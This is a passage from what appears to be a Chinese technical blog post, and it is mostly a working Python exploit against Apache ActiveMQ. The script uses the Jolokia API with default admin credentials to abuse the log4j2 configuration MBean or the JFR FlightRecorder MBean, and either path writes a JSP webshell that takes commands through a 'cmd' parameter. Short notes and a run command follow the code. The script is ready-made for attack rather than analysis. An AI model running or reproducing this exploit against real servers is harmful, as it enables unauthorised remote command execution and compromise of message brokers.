          <test name="exception-level" operator="equal" value="errors"/>
          <test name="exception-level" operator="equal" value="all"/>
        </or>
      </condition>

      <condition name="enable-exceptions" true="true" false="false">
        <test name="exception-level" operator="equal" value="all"/>
      </condition>

      <selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection">
        <option label="Off" name="off">off</option>
        <option label="Object Types" name="minimal">minimal</option>
        <option label="Object Types + Allocation Stack Traces" name="medium">medium</option>
        <option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option>
      </selection>

      <condition name="memory-leak-detection-enabled" true="false" false="true">
        <test name="memory-leak-detection" operator="equal" value="off"/>
      </condition>

      <condition name="memory-leak-detection-stack-trace" true="true" false="false">
        <or>
          <test name="memory-leak-detection" operator="equal" value="medium"/>
          <test name="memory-leak-detection" operator="equal" value="full"/>
        </or>
      </condition>

      <condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns">
        <test name="memory-leak-detection" operator="equal" value="full"/>
      </condition>

      <text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text>

      <text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>

      <text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>

      <flag name="class-loading-enabled" label="Class Loading">false</flag>

    </control>

</configuration>
'''


class Application(object):
    def __init__(self, url, username, password):
        self.url = url
        self.session = requests.session()
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/117.0.5938.132 Safari/537.36',
            'Origin': url,
        }
        self.session.auth = (username, password)

    def request(self, method: str, path: str, *args, **kwargs):
        data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
        assert data['status'] == 200
        return data

    def find_mbean_name(self):
        data = self.request('GET', '/api/jolokia/list')
        for name, val in data['value'].items():
            if name == 'org.apache.logging.log4j2':
                for type_name in val.keys():
                    if type_name.startswith('type='):
                        return f'{name}:{type_name}'

        for name, val in data['value'].items():
            if name == 'jdk.management.jfr':
                for type_name in val.keys():
                    if type_name == 'type=FlightRecorder':
                        return f'{name}:{type_name}'

        raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')

    def modify_config(self, mbean: str, template: str):
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean=mbean,
            operation='setConfigText',
            arguments=[template, 'utf-8']
        ))

    def exploit_log4j(self, mbean: str):
        self.modify_config(mbean, evil_template)
        logging.info('update log config')
        self.request('GET', '/api/jolokia/version', headers={
            'User-Agent': f'Mozilla ||| {webshell} |||'
        })
        logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
        self.modify_config(mbean, original_template)
        logging.info('restore log config')

    def exploit_jfr(self):
        record_id = self.create_record()
        logging.info('create flight record, id = %d', record_id)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='setConfiguration',
            arguments=[record_id, record_template]
        ))
        logging.info('update configuration for record %d', record_id)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='startRecording',
            arguments=[record_id]
        ))
        logging.info('start record')
        time.sleep(1)
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='stopRecording',
            arguments=[record_id]
        ))
        logging.info('stop record')
        self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='copyTo',
            arguments=[record_id, 'webapps/admin/shelljfr.jsp']
        ))
        logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))

    def exploit(self, action='auto'):
        mbean = self.find_mbean_name()
        if action == 'log4j':
            logging.info('choice MBean org.apache.logging.log4j2 manually')
            self.exploit_log4j(mbean)
        elif action == 'jfr':
            logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
            self.exploit_jfr()
        elif mbean.startswith('org.apache.logging.log4j2'):
            logging.info('choice MBean %r automatically', mbean)
            self.exploit_log4j(mbean)
        else:
            logging.info('choice MBean %r automatically', mbean)
            self.exploit_jfr()

    def create_record(self):
        data = self.request('POST', '/api/jolokia/', json=dict(
            type='exec',
            mbean='jdk.management.jfr:type=FlightRecorder',
            operation='newRecording',
            arguments=[]
        ))
        return data['value']


def main():
    parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
    parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
    parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
    parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
    parser.add_argument('url', type=str)
    args = parser.parse_args()
    app = Application(args.url, args.username, args.password)
    app.exploit(args.exploit)


if __name__ == '__main__':
    main()

这个方法受到 ActiveMQ 版本的限制,因为 Log4j2 是在5.17.0中才引入Apache ActiveMQ 

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean 

FlightRecorder 是在 OpenJDK 11 中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件 

python poc.py -u admin -p admin --exploit jfr http://localhost:8161

猜你喜欢

转载自blog.csdn.net/2302_82189125/article/details/141431009